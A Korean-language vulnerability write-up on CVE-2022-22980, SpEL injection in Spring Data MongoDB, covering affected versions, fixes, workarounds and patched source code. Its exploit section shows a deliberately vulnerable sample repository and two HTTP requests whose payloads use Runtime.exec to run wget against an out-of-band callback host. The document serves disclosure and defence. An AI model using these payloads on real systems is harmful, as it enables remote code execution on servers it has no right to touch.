
[CVE-2022-22980] Spring Data MongoDB SpEL 표현식 주입
[CVE-2022-22980] Spring Data MongoDB SpEL 표현식 주입
MongoDB는 대용량 데이터 저장을 위해 확장 가능하고 유연한 문서 지향 NoSQL 데이터베이스입니다. 기존 관계형 데이터베이스에서 테이블과 행을 사용하는 대신 MongoDB는 컬렉션과 문서를 사용합니다. 문서는 MongoDB에서 데이터의 기본 단위인 키-값 쌍으로 구성됩니다.
Spring Data for MongoDB는 포괄적인 Spring Data 프로젝트의 일부로, 저장소 고유의 기능과 역량을 유지하면서 새로운 데이터 저장소를 위해 친숙하고 일관된 Spring 기반 프로그래밍 모델을 제공하는 것을 목표로 합니다. Spring Data MongoDB 프로젝트는 MongoDB 문서 데이터베이스와의 통합을 제공합니다. Spring Data MongoDB의 주요 기능 영역은 MongoDB DBCollection과 상호 작용하기 위한 POJO 중심 모델과 Repository 스타일 데이터 액세스 계층을 쉽게 작성하는 것입니다.
2022년 6월 20일, VMware는 공식 웹사이트에서 Spring Data MongoDB에 영향을 미치는 SpEL 표현식 주입(원격 코드 실행으로 이어짐) 취약점과 관련된 보안 권고를 발표했습니다. 아래에서 CVE-2022-22980 취약점에 대한 자세한 정보를 확인할 수 있습니다.
취약점
Spring Data MongoDB 애플리케이션은 입력이 정화되지 않은 경우 값 바인딩을 위한 쿼리 매개변수 플레이스홀더를 포함하는 SpEL 표현식과 함께 @Query 또는 @Aggregation 주석이 달린 쿼리 메서드를 사용할 때 SpEL 주입에 취약합니다. 또는 추가 애플리케이션 코드를 포함하지 않고 리포지토리 쿼리 메서드를 노출하는 설정(예: Spring Data REST)도 취약합니다.
구체적으로, 다음 조건이 모두 참일 때 애플리케이션이 취약합니다:
?0?1@Query@Aggregation다음 중 하나라도 참이면 애플리케이션이 취약하지 않습니다:
QueryMethodEvaluationContextProvider를 사용하도록 구성됨영향받는 버전
Spring Data MongoDB 3.4.0, 3.3.0 ~ 3.3.4 및 이전 버전이 CVE-2022-22980 Spring Data MongoDB SpEL 표현식 주입 취약점의 영향을 받습니다.
상태
수정 사항이 포함된 Spring Data MongoDB 3.4.1 및 3.3.5가 릴리스되었습니다.
완화 및 제안된 해결 방법
권장되는 대응 방법은 Spring Data MongoDB 3.4.1 및 3.3.5 이상으로 업데이트하는 것입니다. 이렇게 하면 해결 방법이 필요하지 않습니다. 그러나 일부 사용자는 업그레이드를 신속하게 수행할 수 없는 상황에 처할 수 있습니다. 이러한 이유로 Spring 팀은 아래에 몇 가지 해결 방법을 제공했습니다.
배열 구문 사용: 애플리케이션에 사용자 입력에 의해 제어되는 동적 SpEL 표현식이 필요한 경우, 표현식 내에서 매개변수 참조(?0 대신 [0])를 사용하도록 쿼리 또는 집계 선언을 다시 작성사용자 정의 리포지토리 메서드 구현: SpEL 표현식을 사용자 정의 리포지토리 메서드 구현으로 대체하는 것은 애플리케이션 코드 내에서 동적 쿼리를 조합하는 실행 가능한 해결 방법입니다. 자세한 내용은 리포지토리 사용자 정의에 대한 참조 문서를 참조하세요.패치 분석: GitHub 이슈 및 관련 커밋
SpEL 주입 취약점에 대한 GitHub 이슈는 github.com/spring-projects/spring-data-mongodb/issues/4089에서 확인할 수 있습니다.
아래의 두 커밋을 통해 관련 취약점이 수정되었습니다.
이 커밋들을 통해 spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java 클래스가 추가되었습니다.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 클래스도 다음과 같이 수정되었습니다:

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 클래스의 최종(수정된) 버전은 다음과 같습니다:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
그리고 ParameterBindingJsonReader.java 클래스의 재구성 덕분에 Query 또는 Aggregation 주석의 값 내에서 사용되는 매개변수를 바인딩할 때 매개변수 유형이 보존되도록 보장되었습니다. 아래 스크린샷에서 ParameterBindingJsonReader.java 클래스의 커밋 변경 사항을 확인할 수 있습니다:



익스플로잇 단계
익스플로잇 단계를 설명하기 전에, 샘플 취약 프로젝트(@Query 주석 사용)의 UserRepository.java 클래스가 다음과 같이 설명됩니다:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
com.example.mongodb.repository.UserRepository 네임스페이스를 임포트하는 샘플 컨트롤러 클래스 UserController.java도 다음과 같이 설명됩니다:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
익스플로잇 요청 및 응답
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

이 취약점의 수정에 대한 자세한 내용은 다음 리소스를 방문하십시오:
크레딧: